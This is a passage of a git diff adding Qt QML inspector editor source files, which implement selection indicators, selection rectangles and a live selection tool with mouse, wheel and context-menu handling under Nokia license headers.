+ void setItems(const QList<QGraphicsItem*> &itemList);
+
+ void begin(const QPointF& beginPoint);
+ void update(const QPointF& updatePoint);
+ void end();
+
+ void clear();
+
+ void select(SelectionType selectionType);
+
+ QPointF beginPoint() const;
+
+ bool isActive() const;
+
+protected:
+ QGraphicsItem *topFormEditorItem(const QList<QGraphicsItem*> &itemList);
+
+private:
+ QList<QGraphicsItem*> m_itemList;
+ QList<QGraphicsItem*> m_oldSelectionList;
+ LiveSelectionRectangle m_selectionRectangleElement;
+ QPointF m_beginPoint;
+ QDeclarativeViewInspector *m_editorView;
+ QGraphicsItem *m_beginFormEditorItem;
+ bool m_isActive;
+};
+
+}
+
+#endif // RUBBERBANDSELECTIONMANIPULATOR_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionindicator.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionindicator.cpp
new file mode 100644
index 00000000..9545651d
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionindicator.cpp
@@ -0,0 +1,118 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "liveselectionindicator.h"
+
+#include "../qdeclarativeviewinspector_p.h"
+#include "../qmlinspectorconstants.h"
+
+#include <QtGui/QGraphicsRectItem>
+#include <QtGui/QGraphicsObject>
+#include <QtGui/QGraphicsScene>
+#include <QtGui/QPen>
+
+namespace QmlJSDebugger {
+
+LiveSelectionIndicator::LiveSelectionIndicator(QDeclarativeViewInspector *viewInspector,
+ QGraphicsObject *layerItem)
+ : m_layerItem(layerItem)
+ , m_view(viewInspector)
+{
+}
+
+LiveSelectionIndicator::~LiveSelectionIndicator()
+{
+ clear();
+}
+
+void LiveSelectionIndicator::show()
+{
+ foreach (QGraphicsRectItem *item, m_indicatorShapeHash)
+ item->show();
+}
+
+void LiveSelectionIndicator::hide()
+{
+ foreach (QGraphicsRectItem *item, m_indicatorShapeHash)
+ item->hide();
+}
+
+void LiveSelectionIndicator::clear()
+{
+ if (!m_layerItem.isNull()) {
+ QGraphicsScene *scene = m_layerItem.data()->scene();
+ foreach (QGraphicsRectItem *item, m_indicatorShapeHash) {
+ scene->removeItem(item);
+ delete item;
+ }
+ }
+
+ m_indicatorShapeHash.clear();
+
+}
+
+void LiveSelectionIndicator::setItems(const QList<QWeakPointer<QGraphicsObject> > &itemList)
+{
+ clear();
+
+ foreach (const QWeakPointer<QGraphicsObject> &object, itemList) {
+ if (object.isNull())
+ continue;
+
+ QGraphicsItem *item = object.data();
+
+ if (!m_indicatorShapeHash.contains(item)) {
+ QGraphicsRectItem *selectionIndicator = new QGraphicsRectItem(m_layerItem.data());
+ m_indicatorShapeHash.insert(item, selectionIndicator);
+
+ const QRectF boundingRect = m_view->adjustToScreenBoundaries(item->mapRectToScene(item->boundingRect()));
+ const QRectF boundingRectInLayerItemSpace = m_layerItem.data()->mapRectFromScene(boundingRect);
+
+ selectionIndicator->setData(Constants::EditorItemDataKey, true);
+ selectionIndicator->setFlag(QGraphicsItem::ItemIsSelectable, false);
+ selectionIndicator->setRect(boundingRectInLayerItemSpace);
+ selectionIndicator->setPen(QColor(108, 141, 221));
+ }
+ }
+}
+
+} //namespace QmlJSDebugger
+
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionindicator.h b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionindicator.h
new file mode 100644
index 00000000..db386288
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionindicator.h
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LIVESELECTIONINDICATOR_H
+#define LIVESELECTIONINDICATOR_H
+
+#include <QtCore/QWeakPointer>
+#include <QtCore/QHash>
+
+QT_BEGIN_NAMESPACE
+class QGraphicsObject;
+class QGraphicsRectItem;
+class QGraphicsItem;
+class QPolygonF;
+QT_END_NAMESPACE
+
+namespace QmlJSDebugger {
+
+class QDeclarativeViewInspector;
+
+class LiveSelectionIndicator
+{
+public:
+ LiveSelectionIndicator(QDeclarativeViewInspector *viewInspector, QGraphicsObject *layerItem);
+ ~LiveSelectionIndicator();
+
+ void show();
+ void hide();
+
+ void clear();
+
+ void setItems(const QList<QWeakPointer<QGraphicsObject> > &itemList);
+
+private:
+ QHash<QGraphicsItem*, QGraphicsRectItem *> m_indicatorShapeHash;
+ QWeakPointer<QGraphicsObject> m_layerItem;
+ QDeclarativeViewInspector *m_view;
+};
+
+}
+
+#endif // LIVESELECTIONINDICATOR_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionrectangle.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionrectangle.cpp
new file mode 100644
index 00000000..91db2866
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionrectangle.cpp
@@ -0,0 +1,113 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "liveselectionrectangle.h"
+
+#include "../qmlinspectorconstants.h"
+
+#include <QtGui/QPen>
+#include <QtGui/QGraphicsRectItem>
+#include <QtGui/QGraphicsObject>
+#include <QtGui/QGraphicsScene>
+
+#include <QtCore/QtDebug>
+
+#include <cmath>
+
+namespace QmlJSDebugger {
+
+class SelectionRectShape : public QGraphicsRectItem
+{
+public:
+ SelectionRectShape(QGraphicsItem *parent = 0) : QGraphicsRectItem(parent) {}
+ int type() const { return Constants::EditorItemType; }
+};
+
+LiveSelectionRectangle::LiveSelectionRectangle(QGraphicsObject *layerItem)
+ : m_controlShape(new SelectionRectShape(layerItem)),
+ m_layerItem(layerItem)
+{
+ m_controlShape->setPen(QPen(Qt::black));
+ m_controlShape->setBrush(QColor(128, 128, 128, 50));
+}
+
+LiveSelectionRectangle::~LiveSelectionRectangle()
+{
+ if (m_layerItem)
+ m_layerItem.data()->scene()->removeItem(m_controlShape);
+}
+
+void LiveSelectionRectangle::clear()
+{
+ hide();
+}
+void LiveSelectionRectangle::show()
+{
+ m_controlShape->show();
+}
+
+void LiveSelectionRectangle::hide()
+{
+ m_controlShape->hide();
+}
+
+QRectF LiveSelectionRectangle::rect() const
+{
+ return m_controlShape->mapFromScene(m_controlShape->rect()).boundingRect();
+}
+
+void LiveSelectionRectangle::setRect(const QPointF &firstPoint,
+ const QPointF &secondPoint)
+{
+ double firstX = std::floor(firstPoint.x()) + 0.5;
+ double firstY = std::floor(firstPoint.y()) + 0.5;
+ double secondX = std::floor(secondPoint.x()) + 0.5;
+ double secondY = std::floor(secondPoint.y()) + 0.5;
+ QPointF topLeftPoint(firstX < secondX ? firstX : secondX,
+ firstY < secondY ? firstY : secondY);
+ QPointF bottomRightPoint(firstX > secondX ? firstX : secondX,
+ firstY > secondY ? firstY : secondY);
+
+ QRectF rect(topLeftPoint, bottomRightPoint);
+ m_controlShape->setRect(rect);
+}
+
+}
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionrectangle.h b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionrectangle.h
new file mode 100644
index 00000000..5fe42a00
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectionrectangle.h
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LIVESELECTIONRECTANGLE_H
+#define LIVESELECTIONRECTANGLE_H
+
+#include <QtCore/QWeakPointer>
+
+QT_FORWARD_DECLARE_CLASS(QGraphicsObject)
+QT_FORWARD_DECLARE_CLASS(QGraphicsRectItem)
+QT_FORWARD_DECLARE_CLASS(QPointF)
+QT_FORWARD_DECLARE_CLASS(QRectF)
+
+namespace QmlJSDebugger {
+
+class LiveSelectionRectangle
+{
+public:
+ LiveSelectionRectangle(QGraphicsObject *layerItem);
+ ~LiveSelectionRectangle();
+
+ void show();
+ void hide();
+
+ void clear();
+
+ void setRect(const QPointF &firstPoint,
+ const QPointF &secondPoint);
+
+ QRectF rect() const;
+
+private:
+ QGraphicsRectItem *m_controlShape;
+ QWeakPointer<QGraphicsObject> m_layerItem;
+};
+
+} // namespace QmlJSDebugger
+
+#endif // LIVESELECTIONRECTANGLE_H
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectiontool.cpp b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectiontool.cpp
new file mode 100644
index 00000000..288f1ec5
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectiontool.cpp
@@ -0,0 +1,425 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "liveselectiontool.h"
+#include "livelayeritem.h"
+
+#include "../qdeclarativeviewinspector_p.h"
+
+#include <QtGui/QApplication>
+#include <QtGui/QWheelEvent>
+#include <QtGui/QMouseEvent>
+#include <QtGui/QClipboard>
+#include <QtGui/QMenu>
+#include <QtGui/QAction>
+#include <QtGui/QGraphicsObject>
+
+#include <QtDeclarative/QDeclarativeItem>
+#include <QtDeclarative/QDeclarativeEngine>
+
+#include <QtCore/QDebug>
+
+namespace QmlJSDebugger {
+
+LiveSelectionTool::LiveSelectionTool(QDeclarativeViewInspector *editorView) :
+ AbstractLiveEditTool(editorView),
+ m_rubberbandSelectionMode(false),
+ m_rubberbandSelectionManipulator(
+ QDeclarativeViewInspectorPrivate::get(editorView)->manipulatorLayer, editorView),
+ m_singleSelectionManipulator(editorView),
+ m_selectionIndicator(editorView,
+ QDeclarativeViewInspectorPrivate::get(editorView)->manipulatorLayer),
+ //m_resizeIndicator(editorView->manipulatorLayer()),
+ m_selectOnlyContentItems(true)
+{
+
+}
+
+LiveSelectionTool::~LiveSelectionTool()
+{
+}
+
+void LiveSelectionTool::setRubberbandSelectionMode(bool value)
+{
+ m_rubberbandSelectionMode = value;
+}
+
+LiveSingleSelectionManipulator::SelectionType LiveSelectionTool::getSelectionType(Qt::KeyboardModifiers
+ modifiers)
+{
+ LiveSingleSelectionManipulator::SelectionType selectionType
+ = LiveSingleSelectionManipulator::ReplaceSelection;
+ if (modifiers.testFlag(Qt::ControlModifier)) {
+ selectionType = LiveSingleSelectionManipulator::RemoveFromSelection;
+ } else if (modifiers.testFlag(Qt::ShiftModifier)) {
+ selectionType = LiveSingleSelectionManipulator::AddToSelection;
+ }
+ return selectionType;
+}
+
+bool LiveSelectionTool::alreadySelected(const QList<QGraphicsItem*> &itemList) const
+{
+ QDeclarativeViewInspectorPrivate *inspectorPrivate
+ = QDeclarativeViewInspectorPrivate::get(inspector());
+ const QList<QGraphicsItem*> selectedItems = inspectorPrivate->selectedItems();
+
+ if (selectedItems.isEmpty())
+ return false;
+
+ foreach (QGraphicsItem *item, itemList)
+ if (selectedItems.contains(item))
+ return true;
+
+ return false;
+}
+
+void LiveSelectionTool::mousePressEvent(QMouseEvent *event)
+{
+ QDeclarativeViewInspectorPrivate *inspectorPrivate
+ = QDeclarativeViewInspectorPrivate::get(inspector());
+ QList<QGraphicsItem*> itemList = inspectorPrivate->selectableItems(event->pos());
+ LiveSingleSelectionManipulator::SelectionType selectionType = getSelectionType(event->modifiers());
+
+ if (event->buttons() & Qt::LeftButton) {
+ m_mousePressTimer.start();
+
+ if (m_rubberbandSelectionMode) {
+ m_rubberbandSelectionManipulator.begin(event->pos());
+ } else {
+ m_singleSelectionManipulator.begin(event->pos());
+ m_singleSelectionManipulator.select(selectionType, m_selectOnlyContentItems);
+ }
+ } else if (event->buttons() & Qt::RightButton) {
+ createContextMenu(itemList, event->globalPos());
+ }
+}
+
+void LiveSelectionTool::createContextMenu(const QList<QGraphicsItem*> &itemList, QPoint globalPos)
+{
+ QMenu contextMenu;
+ connect(&contextMenu, SIGNAL(hovered(QAction*)),
+ this, SLOT(contextMenuElementHovered(QAction*)));
+
+ m_contextMenuItemList = itemList;
+
+ contextMenu.addAction(tr("Items"));
+ contextMenu.addSeparator();
+ int shortcutKey = Qt::Key_1;
+ int i = 0;
+
+ foreach (QGraphicsItem * const item, itemList) {
+ QString itemTitle = titleForItem(item);
+ QAction *elementAction = contextMenu.addAction(itemTitle, this,
+ SLOT(contextMenuElementSelected()));
+
+ if (inspector()->selectedItems().contains(item)) {
+ QFont boldFont = elementAction->font();
+ boldFont.setBold(true);
+ elementAction->setFont(boldFont);
+ }
+
+ elementAction->setData(i);
+
+ if (shortcutKey <= Qt::Key_9) {
+ elementAction->setShortcut(QKeySequence(shortcutKey));
+ shortcutKey++;
+ }
+
+ ++i;
+ }
+ // add root item separately
+ // QString itemTitle = QString(tr("%1")).arg(titleForItem(view()->currentRootItem()));
+ // contextMenu.addAction(itemTitle, this, SLOT(contextMenuElementSelected()));
+ // m_contextMenuItemList.append(view()->currentRootItem());
+
+ contextMenu.exec(globalPos);
+ m_contextMenuItemList.clear();
+}
+
+void LiveSelectionTool::contextMenuElementSelected()
+{
+ QAction *senderAction = static_cast<QAction*>(sender());
+ int itemListIndex = senderAction->data().toInt();
+ if (itemListIndex >= 0 && itemListIndex < m_contextMenuItemList.length()) {
+
+ QPointF updatePt(0, 0);
+ QGraphicsItem *item = m_contextMenuItemList.at(itemListIndex);
+ m_singleSelectionManipulator.begin(updatePt);
+ m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::InvertSelection,
+ QList<QGraphicsItem*>() << item,
+ false);
+ m_singleSelectionManipulator.end(updatePt);
+ }
+}
+
+void LiveSelectionTool::contextMenuElementHovered(QAction *action)
+{
+ int itemListIndex = action->data().toInt();
+ if (itemListIndex >= 0 && itemListIndex < m_contextMenuItemList.length()) {
+ QGraphicsObject *item = m_contextMenuItemList.at(itemListIndex)->toGraphicsObject();
+ QDeclarativeViewInspectorPrivate::get(inspector())->highlight(item);
+ }
+}
+
+void LiveSelectionTool::mouseMoveEvent(QMouseEvent *event)
+{
+ if (m_singleSelectionManipulator.isActive()) {
+ QPointF mouseMovementVector = m_singleSelectionManipulator.beginPoint() - event->pos();
+
+ if ((mouseMovementVector.toPoint().manhattanLength() > Constants::DragStartDistance)
+ && (m_mousePressTimer.elapsed() > Constants::DragStartTime))
+ {
+ m_singleSelectionManipulator.end(event->pos());
+ //view()->changeToMoveTool(m_singleSelectionManipulator.beginPoint());
+ return;
+ }
+ } else if (m_rubberbandSelectionManipulator.isActive()) {
+ QPointF mouseMovementVector = m_rubberbandSelectionManipulator.beginPoint() - event->pos();
+
+ if ((mouseMovementVector.toPoint().manhattanLength() > Constants::DragStartDistance)
+ && (m_mousePressTimer.elapsed() > Constants::DragStartTime)) {
+ m_rubberbandSelectionManipulator.update(event->pos());
+
+ if (event->modifiers().testFlag(Qt::ControlModifier))
+ m_rubberbandSelectionManipulator.select(
+ LiveRubberBandSelectionManipulator::RemoveFromSelection);
+ else if (event->modifiers().testFlag(Qt::ShiftModifier))
+ m_rubberbandSelectionManipulator.select(
+ LiveRubberBandSelectionManipulator::AddToSelection);
+ else
+ m_rubberbandSelectionManipulator.select(
+ LiveRubberBandSelectionManipulator::ReplaceSelection);
+ }
+ }
+}
+
+void LiveSelectionTool::hoverMoveEvent(QMouseEvent * event)
+{
+// ### commented out until move tool is re-enabled
+// QList<QGraphicsItem*> itemList = view()->items(event->pos());
+// if (!itemList.isEmpty() && !m_rubberbandSelectionMode) {
+//
+// foreach (QGraphicsItem *item, itemList) {
+// if (item->type() == Constants::ResizeHandleItemType) {
+// ResizeHandleItem* resizeHandle = ResizeHandleItem::fromGraphicsItem(item);
+// if (resizeHandle)
+// view()->changeTool(Constants::ResizeToolMode);
+// return;
+// }
+// }
+// if (topSelectedItemIsMovable(itemList))
+// view()->changeTool(Constants::MoveToolMode);
+// }
+ QDeclarativeViewInspectorPrivate *inspectorPrivate
+ = QDeclarativeViewInspectorPrivate::get(inspector());
+
+ QList<QGraphicsItem*> selectableItemList = inspectorPrivate->selectableItems(event->pos());
+ if (!selectableItemList.isEmpty()) {
+ QGraphicsObject *item = selectableItemList.first()->toGraphicsObject();
+ if (item)
+ QDeclarativeViewInspectorPrivate::get(inspector())->highlight(item);
+
+ return;
+ }
+
+ QDeclarativeViewInspectorPrivate::get(inspector())->clearHighlight();
+}
+
+void LiveSelectionTool::mouseReleaseEvent(QMouseEvent *event)
+{
+ if (m_singleSelectionManipulator.isActive()) {
+ m_singleSelectionManipulator.end(event->pos());
+ }
+ else if (m_rubberbandSelectionManipulator.isActive()) {
+
+ QPointF mouseMovementVector = m_rubberbandSelectionManipulator.beginPoint() - event->pos();
+ if (mouseMovementVector.toPoint().manhattanLength() < Constants::DragStartDistance) {
+ m_singleSelectionManipulator.begin(event->pos());
+
+ if (event->modifiers().testFlag(Qt::ControlModifier))
+ m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::RemoveFromSelection,
+ m_selectOnlyContentItems);
+ else if (event->modifiers().testFlag(Qt::ShiftModifier))
+ m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::AddToSelection,
+ m_selectOnlyContentItems);
+ else
+ m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::InvertSelection,
+ m_selectOnlyContentItems);
+
+ m_singleSelectionManipulator.end(event->pos());
+ } else {
+ m_rubberbandSelectionManipulator.update(event->pos());
+
+ if (event->modifiers().testFlag(Qt::ControlModifier))
+ m_rubberbandSelectionManipulator.select(
+ LiveRubberBandSelectionManipulator::RemoveFromSelection);
+ else if (event->modifiers().testFlag(Qt::ShiftModifier))
+ m_rubberbandSelectionManipulator.select(
+ LiveRubberBandSelectionManipulator::AddToSelection);
+ else
+ m_rubberbandSelectionManipulator.select(
+ LiveRubberBandSelectionManipulator::ReplaceSelection);
+
+ m_rubberbandSelectionManipulator.end();
+ }
+ }
+}
+
+void LiveSelectionTool::keyPressEvent(QKeyEvent *event)
+{
+ switch (event->key()) {
+ case Qt::Key_Left:
+ case Qt::Key_Right:
+ case Qt::Key_Up:
+ case Qt::Key_Down:
+ // disabled for now, cannot move stuff yet.
+ //view()->changeTool(Constants::MoveToolMode);
+ //view()->currentTool()->keyPressEvent(event);
+ break;
+ }
+}
+
+void LiveSelectionTool::wheelEvent(QWheelEvent *event)
+{
+ if (event->orientation() == Qt::Horizontal || m_rubberbandSelectionMode)
+ return;
+
+ QDeclarativeViewInspectorPrivate *inspectorPrivate
+ = QDeclarativeViewInspectorPrivate::get(inspector());
+ QList<QGraphicsItem*> itemList = inspectorPrivate->selectableItems(event->pos());
+
+ if (itemList.isEmpty())
+ return;
+
+ int selectedIdx = 0;
+ if (!inspector()->selectedItems().isEmpty()) {
+ selectedIdx = itemList.indexOf(inspector()->selectedItems().first());
+ if (selectedIdx >= 0) {
+ if (event->delta() > 0) {
+ selectedIdx++;
+ if (selectedIdx == itemList.length())
+ selectedIdx = 0;
+ } else if (event->delta() < 0) {
+ selectedIdx--;
+ if (selectedIdx == -1)
+ selectedIdx = itemList.length() - 1;
+ }
+ } else {
+ selectedIdx = 0;
+ }
+ }
+
+ QPointF updatePt(0, 0);
+ m_singleSelectionManipulator.begin(updatePt);
+ m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::ReplaceSelection,
+ QList<QGraphicsItem*>() << itemList.at(selectedIdx),
+ false);
+ m_singleSelectionManipulator.end(updatePt);
+
+}
+
+void LiveSelectionTool::setSelectOnlyContentItems(bool selectOnlyContentItems)
+{
+ m_selectOnlyContentItems = selectOnlyContentItems;
+}
+
+void LiveSelectionTool::clear()
+{
+#ifndef QT_NO_CURSOR
+ view()->setCursor(Qt::ArrowCursor);
+#endif
+ m_rubberbandSelectionManipulator.clear(),
+ m_singleSelectionManipulator.clear();
+ m_selectionIndicator.clear();
+ //m_resizeIndicator.clear();
+}
+
+void LiveSelectionTool::selectedItemsChanged(const QList<QGraphicsItem*> &itemList)
+{
+ foreach (const QWeakPointer<QGraphicsObject> &obj, m_selectedItemList) {
+ if (!obj.isNull()) {
+ disconnect(obj.data(), SIGNAL(xChanged()), this, SLOT(repaintBoundingRects()));
+ disconnect(obj.data(), SIGNAL(yChanged()), this, SLOT(repaintBoundingRects()));
+ disconnect(obj.data(), SIGNAL(widthChanged()), this, SLOT(repaintBoundingRects()));
+ disconnect(obj.data(), SIGNAL(heightChanged()), this, SLOT(repaintBoundingRects()));
+ disconnect(obj.data(), SIGNAL(rotationChanged()), this, SLOT(repaintBoundingRects()));
+ }
+ }
+
+ QList<QGraphicsObject*> objects = toGraphicsObjectList(itemList);
+ m_selectedItemList.clear();
+
+ foreach (QGraphicsObject *obj, objects) {
+ m_selectedItemList.append(obj);
+ connect(obj, SIGNAL(xChanged()), this, SLOT(repaintBoundingRects()));
+ connect(obj, SIGNAL(yChanged()), this, SLOT(repaintBoundingRects()));
+ connect(obj, SIGNAL(widthChanged()), this, SLOT(repaintBoundingRects()));
+ connect(obj, SIGNAL(heightChanged()), this, SLOT(repaintBoundingRects()));
+ connect(obj, SIGNAL(rotationChanged()), this, SLOT(repaintBoundingRects()));
+ }
+
+ m_selectionIndicator.setItems(m_selectedItemList);
+ //m_resizeIndicator.setItems(toGraphicsObjectList(itemList));
+}
+
+void LiveSelectionTool::repaintBoundingRects()
+{
+ m_selectionIndicator.setItems(m_selectedItemList);
+}
+
+void LiveSelectionTool::selectUnderPoint(QMouseEvent *event)
+{
+ m_singleSelectionManipulator.begin(event->pos());
+
+ if (event->modifiers().testFlag(Qt::ControlModifier))
+ m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::RemoveFromSelection,
+ m_selectOnlyContentItems);
+ else if (event->modifiers().testFlag(Qt::ShiftModifier))
+ m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::AddToSelection,
+ m_selectOnlyContentItems);
+ else
+ m_singleSelectionManipulator.select(LiveSingleSelectionManipulator::InvertSelection,
+ m_selectOnlyContentItems);
+
+ m_singleSelectionManipulator.end(event->pos());
+}
+
+} // namespace QmlJSDebugger
diff --git a/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectiontool.h b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectiontool.h
new file mode 100644
index 00000000..eb3c63df
--- /dev/null
+++ b/src/plugins/qmltooling/qmldbg_inspector/editor/liveselectiontool.h
@@ -0,0 +1,120 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LIVESELECTIONTOOL_H
+#define LIVESELECTIONTOOL_H
+
+#include "abstractliveedittool.h"
+#include "liverubberbandselectionmanipulator.h"
+#include "livesingleselectionmanipulator.h"
